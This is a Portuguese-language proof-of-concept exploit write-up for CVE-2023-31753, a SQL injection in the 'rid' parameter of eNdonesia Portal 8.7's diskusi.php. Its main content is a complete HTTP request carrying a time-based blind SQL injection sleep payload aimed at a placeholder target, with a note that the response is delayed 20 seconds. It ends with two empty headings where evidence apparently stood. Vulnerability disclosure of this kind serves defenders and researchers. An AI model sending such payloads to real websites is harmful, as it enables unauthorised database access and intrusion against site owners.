CVE-2023-31753

Prova de Conceito para CVE-2023-31753

Descrição: Uma vulnerabilidade de injeção de SQL foi descoberta no eNdonesia Portal v8.7, que é explorada ao inserir um payload malicioso no parâmetro "rid" em diskusi.php.

• Título do Exploit: eNdonesia Portal 8.7 - vulnerabilidade de injeção de SQL em diskusi.php (parâmetro rid)
• Data: 19 de maio de 2023
• Autor do Exploit: Kunal Khubchandani
• Página do fornecedor: http://www.endonesia.org/
• Link do software: https://sourceforge.net/projects/endonesia/
• Versão: 8.7
• Categoria: Webapps
• Testado em: WiN11_x64/KaLiLinuX_x64
• CVE : CVE-2023-31753

#POC:

1. Para explorar esta vulnerabilidade, é necessário enviar um payload de sleep de SQLi como valor do parâmetro GET "rid" na seguinte requisição HTTP.

2. Requisição vulnerável:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

3. Ao enviar a requisição HTTP acima por meio do Burp Suite, o usuário receberá uma resposta com um atraso de 20 segundos.

** Atraso de 20 segundos:

** Atraso de 30 segundos: